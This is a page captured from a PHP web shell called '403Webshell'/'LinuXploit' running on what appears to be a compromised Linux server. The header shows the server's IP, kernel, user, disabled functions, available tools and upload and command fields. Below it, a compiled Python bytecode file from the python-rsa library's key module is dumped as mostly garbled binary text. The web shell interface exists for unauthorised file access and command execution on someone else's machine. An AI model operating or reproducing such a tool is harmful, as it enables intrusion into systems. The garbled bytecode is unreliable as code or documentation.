403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/rsa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/lib/python3/dist-packages/rsa/__pycache__/key.cpython-310.pyc
o

��a�k�@sdZddlZddlZddlZddlZddlZddlZddlZddl	Zddl
Ze�e�Z
dZGdd�d�ZGdd�de�ZGdd	�d	e�Zejjd
fdedejegefd
edejeeffdd�Zdedededejeeffdd�Zdededejeeffdd�Zd
efdedejegefd
ededejeeeeff
dd�Zd
defded
edededejeeff
dd�Zgd�Zedk�rddlZz%ed �D]Z e�!�\Z"Z#e"r�ne d!dkr�e s�e dkr�e$d"e �q�Wne%y�e$d#�YdSwe$d$�dSdS)%ajRSA key generation code.

Create new keys with the newkeys() function. It will give you a PublicKey and a
PrivateKey object.

Loading and saving keys requires the pyasn1 module. This module is imported as
late as possible, such that other functionality will remain working in absence
of pyasn1.

.. note::

    Storing public and private keys via the `pickle` module is possible.
    However, it is insecure to load a key from an untrusted source.
    The pickle module is not secure against erroneous or maliciously
    constructed data. Never unpickle data received from an untrusted
    or unauthenticated source.

�Nic@s"eZdZdZdZdededdfdd�Zed	eddfd
d��Z	ed	eddfdd
��Z
defdd�Zdefdd�Zed'd	ede
ddfdd��Zede
deje
ejfdejfdd��Zd'de
defdd�Zdedejeeffdd�Zded edefd!d"�Zdefd#d$�Zdejeeffd%d&�ZdS)(�AbstractKeyz0Abstract superclass for private and public keys.)�n�e�blindfac�blindfac_inverse�mutexrr�returnNcCs&||_||_d|_|_t��|_dS)N���)rrrr�	threading�Lockr)�selfrr�r
�)/usr/lib/python3/dist-packages/rsa/key.py�__init__7szAbstractKey.__init__�keyfilecC�dS)z�Loads a key in PKCS#1 PEM format, implement in a subclass.

        :param keyfile: contents of a PEM-encoded file that contains
            the public key.
        :type keyfile: bytes

        :return: the loaded key
        :rtype: AbstractKey
        Nr
��clsrr
r
r�_load_pkcs1_pemB�zAbstractKey._load_pkcs1_pemcCr)z�Loads a key in PKCS#1 PEM format, implement in a subclass.

        :param keyfile: contents of a DER-encoded file that contains
            the public key.
        :type keyfile: bytes

        :return: the loaded key
        :rtype: AbstractKey
        Nr
rr
r
r�_load_pkcs1_derNrzAbstractKey._load_pkcs1_dercCr)z�Saves the key in PKCS#1 PEM format, implement in a subclass.

        :returns: the PEM-encoded key.
        :rtype: bytes
        Nr
�rr
r
r�_save_pkcs1_pemZrzAbstractKey._save_pkcs1_pemcCr)z�Saves the key in PKCS#1 DER format, implement in a subclass.

        :returns: the DER-encoded key.
        :rtype: bytes
        Nr
rr
r
r�_save_pkcs1_derarzAbstractKey._save_pkcs1_der�PEM�formatcCs"|j|jd�}|�||�}||�S)aNLoads a key in PKCS#1 DER or PEM format.

        :param keyfile: contents of a DER- or PEM-encoded file that contains
            the key.
        :type keyfile: bytes
        :param format: the format of the file to load; 'PEM' or 'DER'
        :type format: str

        :return: the loaded key
        :rtype: AbstractKey
        �r�DER)rr�_assert_format_exists)rrr�methods�methodr
r
r�
load_pkcs1hs
�zAbstractKey.load_pkcs1�file_formatrc
CsHz||WSty#}zd�t|����}td||f�|�d}~ww)z9Checks whether the given file format exists in 'methods'.z, z%Unsupported format: %r, try one of %sN)�KeyError�join�sorted�keys�
ValueError)r"r�ex�formatsr
r
rr~s

����z!AbstractKey._assert_format_existscCs |j|jd�}|�||�}|�S)z�Saves the key in PKCS#1 DER or PEM format.

        :param format: the format to save; 'PEM' or 'DER'
        :type format: str
        :returns: the DER- or PEM-encoded key.
        :rtype: bytes
        r)rrr)rrrr r
r
r�
save_pkcs1�s

�zAbstractKey.save_pkcs1�messagecCs.|��\}}|t||j|j�|j}||fS)a�Performs blinding on the message.

        :param message: the message, as integer, to blind.
        :param r: the random number to blind with.
        :return: tuple (the blinded message, the inverse of the used blinding factor)

        The blinding is such that message = unblind(decrypt(blind(encrypt(message))).

        See https://en.wikipedia.org/wiki/Blinding_%28cryptography%29
        )�_update_blinding_factor�powrr)rr+rr�blindedr
r
r�blind�szAbstractKey.blindr.rcCs|||jS)a�Performs blinding on the message using random number 'blindfac_inverse'.

        :param blinded: the blinded message, as integer, to unblind.
        :param blindfac: the factor to unblind with.
        :return: the original message.

        The blinding is such that message = unblind(decrypt(blind(encrypt(message))).

        See https://en.wikipedia.org/wiki/Blinding_%28cryptography%29
        )r)rr.rr
r
r�unblind�szAbstractKey.unblindcCs@td�D]}tj�|jd�}tj�|j|�r|Sqtd��)Ni��zunable to find blinding factor)�range�rsa�randnum�randintr�prime�are_relatively_prime�RuntimeError)r�_�blind_rr
r
r�_initial_blinding_factor�s�z$AbstractKey._initial_blinding_factorcCs�|j�5|jdkr|��|_tj�|j|j�|_nt|jd|j�|_t|jd|j�|_|j|jfWd�S1s;wYdS)a�Update blinding factors.

        Computing a blinding factor is expensive, so instead this function
        does this once, then updates the blinding factor as per section 9
        of 'A Timing Attack against RSA with the Chinese Remainder Theorem'
        by Werner Schindler.
        See https://tls.mbed.org/public/WSchindler-RSA_Timing_Attack.pdf

        :return: the new blinding factor and its inverse.
        r�N)	rrr;r3�common�inverserrr-rr
r
rr,�s


$�z#AbstractKey._update_blinding_factor)r)�__name__�
__module__�__qualname__�__doc__�	__slots__�intr�classmethod�bytesrrrr�strr!�staticmethod�typing�Mapping�Callablerr*�Tupler/r0r;r,r
r
r
rr2s2���

rc@seZdZdZdZdedefdd�Zdefdd�Zde	j
eeffd	d
�Zde	j
eefddfd
d�Zde	j
defdd�Zde	j
defdd�Zdefdd�Zededdfdd��Zdefdd�Zededdfdd��Zdefdd�Zededdfdd ��Zededdfd!d"��ZdS)#�	PublicKeya�Represents a public RSA key.

    This key is also known as the 'encryption key'. It contains the 'n' and 'e'
    values.

    Supports attributes as well as dictionary-like access. Attribute access is
    faster, though.

    >>> PublicKey(5, 3)
    PublicKey(5, 3)

    >>> key = PublicKey(5, 3)
    >>> key.n
    5
    >>> key['n']
    5
    >>> key.e
    3
    >>> key['e']
    3

    �rr�keyrcC�
t||�S�N��getattr�rrOr
r
r�__getitem__��
zPublicKey.__getitem__cCsd|j|jfS)NzPublicKey(%i, %i)rNrr
r
r�__repr__��zPublicKey.__repr__cCs|j|jfS�z&Returns the key as tuple for pickling.rNrr
r
r�__getstate__�szPublicKey.__getstate__�stateNcCs"|\|_|_t�||j|j�dS�zSets the key from tuple.N)rrrr�rr[r
r
r�__setstate__�szPublicKey.__setstate__�othercCs2|durdSt|t�s
dS|j|jko|j|jkS�NF)�
isinstancerMrr�rr_r
r
r�__eq__s

zPublicKey.__eq__cC�
||kSrQr
rbr
r
r�__ne__rVzPublicKey.__ne__cCst|j|jf�SrQ)�hashrrrr
r
r�__hash__rXzPublicKey.__hash__rcCsHddlm}ddlm}|j||�d�\}}|t|d�t|d�d�S)a�Loads a key in PKCS#1 DER format.

        :param keyfile: contents of a DER-encoded file that contains the public
            key.
        :return: a PublicKey object

        First let's construct a DER encoded key:

        >>> import base64
        >>> b64der = 'MAwCBQCNGmYtAgMBAAE='
        >>> der = base64.standard_b64decode(b64der)

        This loads the file:

        >>> PublicKey._load_pkcs1_der(der)
        PublicKey(2367317549, 65537)

        r��decoder��	AsnPubKey��asn1Spec�modulus�publicExponentrN)�pyasn1.codec.derri�rsa.asn1rk�decoderD)rrrirk�privr9r
r
rrszPublicKey._load_pkcs1_dercCsDddlm}ddlm}|�}|�d|j�|�d|j�|�|�S)zxSaves the public key in PKCS#1 DER format.

        :returns: the DER-encoded public key.
        :rtype: bytes
        r��encoderrjrnro)rprurqrk�setComponentByNamerr�encode)rrurk�asn_keyr
r
rr,s
zPublicKey._save_pkcs1_dercC�tj�|d�}|�|�S)aOLoads a PKCS#1 PEM-encoded public key file.

        The contents of the file before the "-----BEGIN RSA PUBLIC KEY-----" and
        after the "-----END RSA PUBLIC KEY-----" lines is ignored.

        :param keyfile: contents of a PEM-encoded file that contains the public
            key.
        :return: a PublicKey object
        �RSA PUBLIC KEY�r3�pem�load_pemr�rr�derr
r
rr=s
zPublicKey._load_pkcs1_pemcC�|��}tj�|d�S)z�Saves a PKCS#1 PEM-encoded public key file.

        :return: contents of a PEM-encoded file that contains the public key.
        :rtype: bytes
        rz�rr3r|�save_pem�rrr
r
rrL�zPublicKey._save_pkcs1_pemcCry)a�Loads a PKCS#1.5 PEM-encoded public key file from OpenSSL.

        These files can be recognised in that they start with BEGIN PUBLIC KEY
        rather than BEGIN RSA PUBLIC KEY.

        The contents of the file before the "-----BEGIN PUBLIC KEY-----" and
        after the "-----END PUBLIC KEY-----" lines is ignored.

        :param keyfile: contents of a PEM-encoded file that contains the public
            key, from OpenSSL.
        :type keyfile: bytes
        :return: a PublicKey object
        z
PUBLIC KEY)r3r|r}�load_pkcs1_openssl_derr~r
r
r�load_pkcs1_openssl_pemVs
z PublicKey.load_pkcs1_openssl_pemcCslddlm}ddlm}ddlm}|j||�d�\}}|dd|�d�kr+td	��|�	|d
dd��S)
z�Loads a PKCS#1 DER-encoded public key file from OpenSSL.

        :param keyfile: contents of a DER-encoded file that contains the public
            key, from OpenSSL.
        :return: a PublicKey object
        r)�
OpenSSLPubKeyrh)�univrl�header�oidz1.2.840.113549.1.1.1z7This is not a DER-encoded OpenSSL-compatible public keyrOr1N)
rqr�rpri�pyasn1.typer�rr�ObjectIdentifier�	TypeErrorr)rrr�rir��keyinfor9r
r
rr�is	z PublicKey.load_pkcs1_openssl_der)r?r@rArBrCrGrDrUrWrIrLrZr^�Any�boolrcrergrErFrrrrr�r�r
r
r
rrM�s(	
rMc@sDeZdZdZdZdedededededd	fd
d�Zdedefd
d�Zdefdd�Z	de
jeeeeeeeeffdd�Zde
jeeeeeeeefdd	fdd�Z
de
jdefdd�Zde
jdefdd�Zdefdd�Zdedefdd�Zd edefd!d"�Zed#eddfd$d%��Zdefd&d'�Zed#eddfd(d)��Zdefd*d+�Zd	S),�
PrivateKeyaRepresents a private RSA key.

    This key is also known as the 'decryption key'. It contains the 'n', 'e',
    'd', 'p', 'q' and other values.

    Supports attributes as well as dictionary-like access. Attribute access is
    faster, though.

    >>> PrivateKey(3247, 65537, 833, 191, 17)
    PrivateKey(3247, 65537, 833, 191, 17)

    exp1, exp2 and coef will be calculated:

    >>> pk = PrivateKey(3727264081, 65537, 3349121513, 65063, 57287)
    >>> pk.exp1
    55063
    >>> pk.exp2
    10095
    >>> pk.coef
    50797

    �rr�d�p�q�exp1�exp2�coefrrr�r�r�rNcCsXt�|||�||_||_||_t||d�|_t||d�|_tj	�
||�|_dS)Nr1)rrr�r�r�rDr�r�r3r=r>r�)rrrr�r�r�r
r
rr�szPrivateKey.__init__rOcCrPrQrRrTr
r
rrU�rVzPrivateKey.__getitem__cCsd|j|j|j|j|jfS)NzPrivateKey(%i, %i, %i, %i, %i))rrr�r�r�rr
r
rrW�s�zPrivateKey.__repr__cCs$|j|j|j|j|j|j|j|jfSrYr�rr
r
rrZ�s$zPrivateKey.__getstate__r[c	Cs:|\|_|_|_|_|_|_|_|_t�	||j|j�dSr\)
rrr�r�r�r�r�r�rrr]r
r
rr^�s$zPrivateKey.__setstate__r_cCsz|durdSt|t�s
dS|j|jko<|j|jko<|j|jko<|j|jko<|j|jko<|j|jko<|j|jko<|j	|j	kSr`)
rar�rrr�r�r�r�r�r�rbr
r
rrc�s&

�
�
�
�
�
�
�zPrivateKey.__eq__cCrdrQr
rbr
r
rre�rVzPrivateKey.__ne__c	Cs(t|j|j|j|j|j|j|j|jf�SrQ)	rfrrr�r�r�r�r�r�rr
r
rrg�s(zPrivateKey.__hash__�	encryptedcCs\|�|�\}}t||j|j�}t||j|j�}|||j|j}||j|}|�||�S)z�Decrypts the message using blinding to prevent side-channel attacks.

        :param encrypted: the encrypted message
        :type encrypted: int

        :returns: the decrypted message
        :rtype: int
        )r/r-r�r�r�r�r�r0)rr�r.r�s1�s2�h�	decryptedr
r
r�blinded_decrypt�szPrivateKey.blinded_decryptr+cCs.|�|�\}}tj�||j|j�}|�||�S)z�Encrypts the message using blinding to prevent side-channel attacks.

        :param message: the message to encrypt
        :type message: int

        :returns: the encrypted message
        :rtype: int
        )r/r3�core�encrypt_intr�rr0)rr+r.rr�r
r
r�blinded_encrypt�s
zPrivateKey.blinded_encryptrc
Cs�ddlm}|�|�\}}|ddkrtd|d��tt|dd��}||�}tt|dd��\}}}	|j|j|jf|||	fkrGt	�
dt�|S)a4Loads a key in PKCS#1 DER format.

        :param keyfile: contents of a DER-encoded file that contains the private
            key.
        :type keyfile: bytes
        :return: a PrivateKey object

        First let's construct a DER encoded key:

        >>> import base64
        >>> b64der = 'MC4CAQACBQDeKYlRAgMBAAECBQDHn4npAgMA/icCAwDfxwIDANcXAgInbwIDAMZt'
        >>> der = base64.standard_b64decode(b64der)

        This loads the file:

        >>> PrivateKey._load_pkcs1_der(der)
        PrivateKey(3727264081, 65537, 3349121513, 65063, 57287)

        rrhz)Unable to read this file, version %s != 0r1��	zYou have provided a malformed keyfile. Either the exponents or the coefficient are incorrect. Using the correct values instead.)rprirrr'�maprDr�r�r��warnings�warn�UserWarning)
rrrirsr9�as_intsrOr�r�r�r
r
rr�s�zPrivateKey._load_pkcs1_dercs�ddlm�m�ddlm}G��fdd�d�j�}|�}|�dd�|�d|j�|�d|j�|�d	|j	�|�d
|j
�|�d|j�|�d|j�|�d
|j
�|�d|j�|�|�S)zzSaves the private key in PKCS#1 DER format.

        :returns: the DER-encoded private key.
        :rtype: bytes
        r)r��	namedtypertcs�eZdZ����d������d������d������d������d������d������d������d������d	�����	Zd
S)z.PrivateKey._save_pkcs1_der.<locals>.AsnPrivKey�versionrnro�privateExponent�prime1�prime2�	exponent1�	exponent2�coefficientN)r?r@rA�
NamedTypes�	NamedType�Integer�
componentTyper
�r�r�r
r�
AsnPrivKey;s�r�r�rnror�r�r�r�r�r�)r�r�r�rpru�Sequencervrrr�r�r�r�r�r�rw)rrur�rxr
r�rr1s
zPrivateKey._save_pkcs1_dercCry)aqLoads a PKCS#1 PEM-encoded private key file.

        The contents of the file before the "-----BEGIN RSA PRIVATE KEY-----" and
        after the "-----END RSA PRIVATE KEY-----" lines is ignored.

        :param keyfile: contents of a PEM-encoded file that contains the private
            key.
        :type keyfile: bytes
        :return: a PrivateKey object
        �RSA PRIVATE KEYr{r~r
r
rrVs
zPrivateKey._load_pkcs1_pemcCr�)z�Saves a PKCS#1 PEM-encoded private key file.

        :return: contents of a PEM-encoded file that contains the private key.
        :rtype: bytes
        r�r�r�r
r
rrfr�zPrivateKey._save_pkcs1_pem)r?r@rArBrCrDrrGrUrWrIrLrZr^r�r�rcrergr�r�rErFrrrrr
r
r
rr�~s&"$	(:%r�T�nbits�
getprime_func�accuraterc
s�|d�|d}||}||}t�d|�||�}t�d|�||�}dtdtdtf��fdd	�}d
}	|||�sL|	r@||�}n||�}|	}	|||�r9t||�t||�fS)a&Returns a tuple of two different primes of nbits bits each.

    The resulting p * q has exactly 2 * nbits bits, and the returned p and q
    will not be equal.

    :param nbits: the number of bits in each of p and q.
    :param getprime_func: the getprime function, defaults to
        :py:func:`rsa.prime.getprime`.

        *Introduced in Python-RSA 3.1*

    :param accurate: whether to enable accurate mode or not.
    :returns: (p, q), where p > q

    >>> (p, q) = find_p_q(128)
    >>> from rsa import common
    >>> common.bit_size(p * q)
    256

    When not in accurate mode, the number of bits can be slightly less

    >>> (p, q) = find_p_q(128, accurate=False)
    >>> from rsa import common
    >>> common.bit_size(p * q) <= 256
    True
    >>> common.bit_size(p * q) > 240
    True

    r<�zfind_p_q(%i): Finding pzfind_p_q(%i): Finding qr�r�rcs,||krdS�s
dStj�||�}�|kS)z�Returns True iff p and q are acceptable:

        - p and q differ
        - (p * q) has the right nr of bits (when accurate=True)
        FT)r3r=�bit_size)r�r��
found_size�r��
total_bitsr
r�
is_acceptable�szfind_p_q.<locals>.is_acceptableF)�log�debugrDr��max�min)
r�r�r��shift�pbits�qbitsr�r�r��change_pr
r�r�find_p_qqs"#


�r�r�r��exponentcCs�|d|d}z	tj�||�}Wn tjjy1}ztjj|||jd|||jfd�|�d}~ww|||dkrCtd|||f��||fS)a�Calculates an encryption and a decryption key given p, q and an exponent,
    and returns them as a tuple (e, d)

    :param p: the first large prime
    :param q: the second large prime
    :param exponent: the exponent for the key; only change this if you know
        what you're doing, as the exponent influences how difficult your
        private key can be cracked. A very common choice for e is 65537.
    :type exponent: int

    r1z;e (%d) and phi_n (%d) are not relatively prime (divider=%i))�msgNz6e (%d) and d (%d) are not mult. inv. modulo phi_n (%d))r3r=r>�NotRelativePrimeErrorr�r')r�r�r��phi_nr�r(r
r
r�calculate_keys_custom_exponent�s*

�����	�r�cCst||t�S)z�Calculates an encryption and a decryption key given p and q, and
    returns them as a tuple (e, d)

    :param p: the first large prime
    :param q: the second large prime

    :return: tuple (e, d) with the encryption and decryption exponents.
    )r��DEFAULT_EXPONENT)r�r�r
r
r�calculate_keys�s
r�cCsN	t|d||�\}}zt|||d�\}}Wn
tyYnwq||||fS)aWGenerate RSA keys of nbits bits. Returns (p, q, e, d).

    Note: this can take a long time, depending on the key size.

    :param nbits: the total number of bits in ``p`` and ``q``. Both ``p`` and
        ``q`` will use ``nbits/2`` bits.
    :param getprime_func: either :py:func:`rsa.prime.getprime` or a function
        with similar signature.
    :param exponent: the exponent for the key; only change this if you know
        what you're doing, as the exponent influences how difficult your
        private key can be cracked. A very common choice for e is 65537.
    :type exponent: int
    Tr<)r�)r�r�r')r�r�r�r�r�r�rr�r
r
r�gen_keys�s��r�r1�poolsizec
s�|dkrtd���dkrtd����dkr)ddlm�dtdtf��fd	d
�}ntjj}t||||d�\}}}}||}	t|	|�t|	||||�fS)a�Generates public and private keys, and returns them as (pub, priv).

    The public key is also known as the 'encryption key', and is a
    :py:class:`rsa.PublicKey` object. The private key is also known as the
    'decryption key' and is a :py:class:`rsa.PrivateKey` object.

    :param nbits: the number of bits required to store ``n = p*q``.
    :param accurate: when True, ``n`` will have exactly the number of bits you
        asked for. However, this makes key generation much slower. When False,
        `n`` may have slightly less bits.
    :param poolsize: the number of processes to use to generate the prime
        numbers. If set to a number > 1, a parallel algorithm will be used.
        This requires Python 2.6 or newer.
    :param exponent: the exponent for the key; only change this if you know
        what you're doing, as the exponent influences how difficult your
        private key can be cracked. A very common choice for e is 65537.
    :type exponent: int

    :returns: a tuple (:py:class:`rsa.PublicKey`, :py:class:`rsa.PrivateKey`)

    The ``poolsize`` parameter was added in *Python-RSA 3.1* and requires
    Python 2.6 or newer.

    r�z
Key too smallr1zPool size (%i) should be >= 1r)�parallelr�rcs�j|�d�S)N)r�)�getprime)r��r�r�r
rr�<sznewkeys.<locals>.getprime_func)r�r�)	r'r3r�rDr6r�r�rMr�)
r�r�r�r�r�r�r�rr�rr
r�r�newkeyssr�)rMr�r��__main__�d�
z%i times�Abortedz
Doctests done)&rB�loggingr
rIr��	rsa.primer3�rsa.pem�
rsa.common�rsa.randnum�rsa.core�	getLoggerr?r�r�rrMr�r6r�rDrKr�rLr�r�r�r�r��__all__�doctestr2�count�testmod�failures�tests�print�KeyboardInterruptr
r
r
r�<module>s�
(&v����
�$R "�����
�#�����
�8
���

Youez - 2016 - github.com/yon3zu
LinuXploit